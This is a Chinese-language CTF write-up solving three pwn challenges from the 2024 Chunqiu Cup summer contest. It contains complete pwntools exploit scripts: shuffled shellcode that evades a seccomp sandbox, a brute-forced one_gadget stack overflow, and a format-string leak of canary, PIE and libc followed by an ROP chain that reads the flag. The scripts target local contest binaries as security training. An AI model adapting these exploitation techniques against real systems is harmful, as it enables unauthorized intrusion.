2024春秋杯网络安全联赛夏季赛-PWN-Writeup
只打了第一天,费了好大劲,终于三道都出了。
Shuffled_Execution
保护全开,ida查看伪代码:
int __fastcall main(int argc, const char **argv, const char **envp)
{__int64 v3; // raxchar *s; // [rsp+28h] [rbp-18h]unsigned __int64 len; // [rsp+30h] [rbp-10h]init();s = (char *)mmap((void *)0x1337000, 0x1000uLL, 7, 34, -1, 0LL);if ( s == (char *)-1LL ){perror("mmap failed");exit(1);}syscall(0LL, 0LL, 0x1337000LL, 0x250LL);len = strlen(s);shuffle((__int64)s, len);if ( len <= 0xAF ){sandbox();entrance();LODWORD(v3) = 0;}else{return (int)"Error triggered...";}return v3;
}
可以看道mmap申请0x1337000处0x1000大小的内存空间,使用syscall系统调用来调用read函数向内存中进行写入。
shuffle函数会打乱我们输入的内容。
判断长度小于等于0xAF之后会然后开启沙箱,然后entrance()函数会让程序跳转到0x1337000处去执行。
shuffle函数的伪代码:
unsigned __int64 __fastcall shuffle(__int64 input, unsigned __int64 len)
{char v3; // [rsp+1Bh] [rbp-15h]int i; // [rsp+1Ch] [rbp-14h]unsigned __int64 v5; // [rsp+20h] [rbp-10h]unsigned __int64 v6; // [rsp+28h] [rbp-8h]v6 = __readfsqword(0x28u);srand(4919u);if ( len > 1 ){for ( i = 0; i < len >> 1; ++i ){v5 = rand() % len;v3 = *(_BYTE *)(i + input);*(_BYTE *)(i + input) = *(_BYTE *)(input + v5);*(_BYTE *)(v5 + input) = v3;}}return v6 - __readfsqword(0x28u);
}
程序实现的是随机交换程序中的字节,程序中的这种随机其实是伪随机,我们可以出每次随机的数的。
在exp中我们可以模拟上述随机数生成的过程,写出预处理函数来先进行预处理,这个预处理所实现的功能就是让程序进行shuffle()函数打乱之后的顺序反而是我们预期想要的顺序
def unshuffle(shuffled_bytes, seed=4919):#random.seed(seed)libc.srand(4919)# Find the first occurrence of \x00null_byte_index = shuffled_bytes.find(b'\x00')# Use the index of \x00 if it exists, otherwise use the full lengthlen_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)shuffled_list = list(shuffled_bytes[:len_input])indices = list(range(len_input))if len_input > 1:swaps = []for i in range(len_input >> 1):v5 = libc.rand() % len_inputswaps.append((i, v5))# Reverse the swapsfor i, v5 in reversed(swaps):v3 = shuffled_list[v5]shuffled_list[v5] = shuffled_list[i]shuffled_list[i] = v3return bytes(shuffled_list)+shuffled_bytes[len_input:]
再来看看沙箱规则:
line CODE JT JF K
=================================0000: 0x20 0x00 0x00 0x00000004 A = arch0001: 0x15 0x00 0x0d 0xc000003e if (A != ARCH_X86_64) goto 00150002: 0x20 0x00 0x00 0x00000000 A = sys_number0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 00050004: 0x15 0x00 0x0a 0xffffffff if (A != 0xffffffff) goto 00150005: 0x15 0x09 0x00 0x00000000 if (A == read) goto 00150006: 0x15 0x08 0x00 0x00000001 if (A == write) goto 00150007: 0x15 0x07 0x00 0x00000002 if (A == open) goto 00150008: 0x15 0x06 0x00 0x00000011 if (A == pread64) goto 00150009: 0x15 0x05 0x00 0x00000013 if (A == readv) goto 00150010: 0x15 0x04 0x00 0x00000028 if (A == sendfile) goto 00150011: 0x15 0x03 0x00 0x0000003b if (A == execve) goto 00150012: 0x15 0x02 0x00 0x00000127 if (A == preadv) goto 00150013: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 00150014: 0x06 0x00 0x00 0x7fff0000 return ALLOW0015: 0x06 0x00 0x00 0x00000000 return KILL
open被办ban了,这里用openat代替。
read被ban了,这里用preadv2代替。
write被ban了,这里用writev代替。
完整exp:
from pwn import *
from ctypes import *shellcode = '''mov rbp,0x1337100mov rsp,rbpmov rax, 0x67616c662f2epush raxxor rdi, rdisub rdi, 100mov rsi, rspxor rdx, rdxpush SYS_openatpop raxsyscallmov rdi, 3push 0x30lea rbx, [rsp-8]push rbxmov rsi, rspmov rdx, 1xor r10, r10xor r8, r8push SYS_preadv2pop raxsyscallpush 1pop rdipush 0x1pop rdxpush 0x30lea rbx, [rsp+8]push rbxmov rsi, rsppush SYS_writevpop raxsyscall
'''def unshuffle(shuffled_bytes, seed=4919):libc.srand(4919)# Find the first occurrence of \x00null_byte_index = shuffled_bytes.find(b'\x00')# Use the index of \x00 if it exists, otherwise use the full lengthlen_input = null_byte_index if null_byte_index != -1 else len(shuffled_bytes)shuffled_list = list(shuffled_bytes[:len_input])indices = list(range(len_input))if len_input > 1:swaps = []for i in range(len_input >> 1):v5 = libc.rand() % len_inputswaps.append((i, v5))# Reverse the swapsfor i, v5 in reversed(swaps):v3 = shuffled_list[v5]shuffled_list[v5] = shuffled_list[i]shuffled_list[i] = v3return bytes(shuffled_list)+shuffled_bytes[len_input:]p = process('./pwn')
elf = ELF('./pwn')
libc = cdll.LoadLibrary('libc.so.6')
context(os='linux', arch='amd64', log_level='debug')# 将 shellcode 转换为机器码
shellcode = asm(shellcode)
# 对 shellcode 进行预处理
preprocessed_payload = unshuffle(shellcode)
p.send(preprocessed_payload)
print(p.recv())
print(p.recv())
赛后看到imarch22师傅的博客,看道师傅有一个思路是直接利用\x00进行截断。实际操作就是在shellcode前面加个"mov eax,0",转成字节码\xb8\x00\x00\x00\x00,这行程序在进行strlen的时候返回值是1,程序在进行洗牌的时候i < len >> 1直接不满足条件,就不会进行打乱。省去了我写unshuffle()函数的过程。
stdout
考setvbut
setvbuf
函数原型
int setvbuf(FILE *stream, char *buffer, int mode, size_t size);
参数说明
stream
: 文件流指针,例如stdin
、stdout
、stderr
。buffer
: 指向缓冲区的指针。如果为NULL
或0LL
,则使用系统提供的缓冲区。mode
:缓冲模式,可以是以下之一:_IOFBF
: 全缓冲。全缓冲模式下,数据会被存储在一个缓冲区中,直到缓冲区满或者显式地刷新(如调用fflush
函数),然后一次性写入或读取。_IOLBF
: 行缓冲。行缓冲模式下,数据在遇到换行符(\n
)时或者缓冲区满时进行刷新(写入或读取)。_IONBF
: 无缓冲。无缓冲模式下,数据不经过缓冲区,而是直接写入或读取。这意味着每个 I/O 操作都会立即进行系统调用,数据会实时反映在目标设备上。
size
: 缓冲区大小。如果buffer
为NULL
或0LL
,此参数被忽略。
本题有很明显的栈溢出,但是stdout设置的全缓冲,正常思路是用csu调用setvbut来设置为无缓冲来进行泄露libc打ret2libc,我没有这么做,我直接打程序返回地址为onegadgets来拿到shell读取flag的。1/4096的概率,爆破了大概十分钟出了。
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
payload1 = b'a'*0x50+b'bbbbbbbb'+p64(0x0040125D)
main = 0x00401370
pop_r12_r13_r14_r15 = 0x04013cc
payload2 = b'a'*0x20+b'bbbbbbbb'+p64(pop_r12_r13_r14_r15)
payload2+= p64(0)*4+p64(main)
payload3 = b'a'*0x50+b'bbbbbbbb'+b'\xfe\x8a\x69'for i in range(4096):try:p = process('./pwn')p.send(payload1)sleep(0.2)p.send(payload2)sleep(0.2)p.send(payload3)sleep(0.2)p.sendline(b'ls')p.sendline(b'cat flag')aaa = p.recv()if b'flag' in aaa:print(aaa)breakexcept:p.close()continue
p.interactive()
SavethePrincess
通过循环爆破love的内容,来拿到格式化字符串漏洞的利用权限。
拿到格式化字符串漏洞之后泄露canary、pie、libc、stack。
之后就是利用openat、pread64、puts来实现orw输出flag。
from pwn import *p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc.so.6')
context(os='linux',arch='amd64',log_level='debug')zifu = ['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']def duan():sleep(0.5)gdb.attach(p)pause()def baopo():love = ''for j in range(8):for i in zifu:sleep(0.01)love_len = len(love)temp2 = '\\x0'+str(love_len+1)p.recvuntil(b'> \n')p.sendline(b'1')temp = love+ip.recvuntil(b'password: \n')p.send(temp.ljust(10,'a'))sleep(0.02)recv = p.recvline()if b'successfully' in recv:love+= ibreakprint(temp2)if temp2 in str(recv):love+= ibreakreturn lovedef fmt(password,payload):#p.recvuntil(b'> \n')p.sendline(b'1')p.recvuntil(b'password: \n')p.send(password)p.recvuntil(b'successfully, Embrace the power!!!\n')p.send(payload)password = baopo()
p.send('aaaa')
fmt(password,b'%13$p')
p.recvuntil(b'0x')
canary = int(p.recv(16),16)
print('canry-->'+hex(canary))fmt(password,b'%23$p')
p.recvuntil(b'0x')
pie = int(p.recv(12),16)-0x01745
print('pie-->'+hex(pie))fmt(password,b'%35$p')
p.recvuntil(b'0x')
libc_base = int(p.recv(12),16)-128-libc.symbols['__libc_start_main']
print('libc_base-->'+hex(libc_base))fmt(password,b'%36$p')
p.recvuntil(b'0x')
stack = int(p.recv(12),16)-320
print('stack-->'+hex(stack))pop_rdi_ret = libc_base+0x002a3e5
pop_rsi_ret = libc_base+0x002be51
buffer_addr = pie+0x04050
pop_rdx_r12_ret = libc_base+0x00011f2e7
pop_rax_ret = libc_base+0x045eb0
pop_rcx_ret = libc_base+0x03d1ee
syscall_ret = libc_base+0x029db4
preadv2 = libc_base+libc.symbols['preadv2']
pread64 = libc_base+libc.symbols['pread64']
buf = pie+0x04050
write = libc_base+libc.symbols['write']
puts = libc_base+libc.symbols['puts']
shuju = pie+0x00020DB
main = pie+0x0000176A
pop_rdx = pie+0x00017d6
pop_r10_ret = pie+0x0017D5
openat_addr = libc_base+libc.symbols['openat']
strncpy = libc_base+libc.symbols['strncpy']
flag_addr = libc_base+0x00001d618
write = libc_base+libc.symbols['write']
read = libc_base+libc.symbols['read']rop_chain = p64(pop_rdi_ret)
rop_chain += p64(0xffffffffffffff9c) # AT_FDCWD
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0)
rop_chain += p64(pop_rdx)
rop_chain += p64(0)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(openat_addr)rop_chain += p64(pop_rdi_ret)
rop_chain += p64(3)
rop_chain += p64(pop_rsi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(pop_rdx)
rop_chain += p64(0x30)
rop_chain += p64(pop_rcx_ret)
rop_chain += p64(0)
rop_chain += p64(pread64)rop_chain += p64(pop_rdi_ret)
rop_chain += p64(stack+0x1a0+8)
rop_chain += p64(puts)rop_chain = rop_chain.ljust(0x1a0,b'\x00')
rop_chain += b'./flag\x00\x00'
rop_chain += b'111111'p.sendline(b'2')
p.recvuntil(b'dragon!!\n')
padding = b'a'*0x38+p64(canary)+b'bbbbbbbb'
payload = padding + rop_chain
p.send(payload)
p.recvuntil(b'succeed?\n')
print(p.recv())
print(p.recv())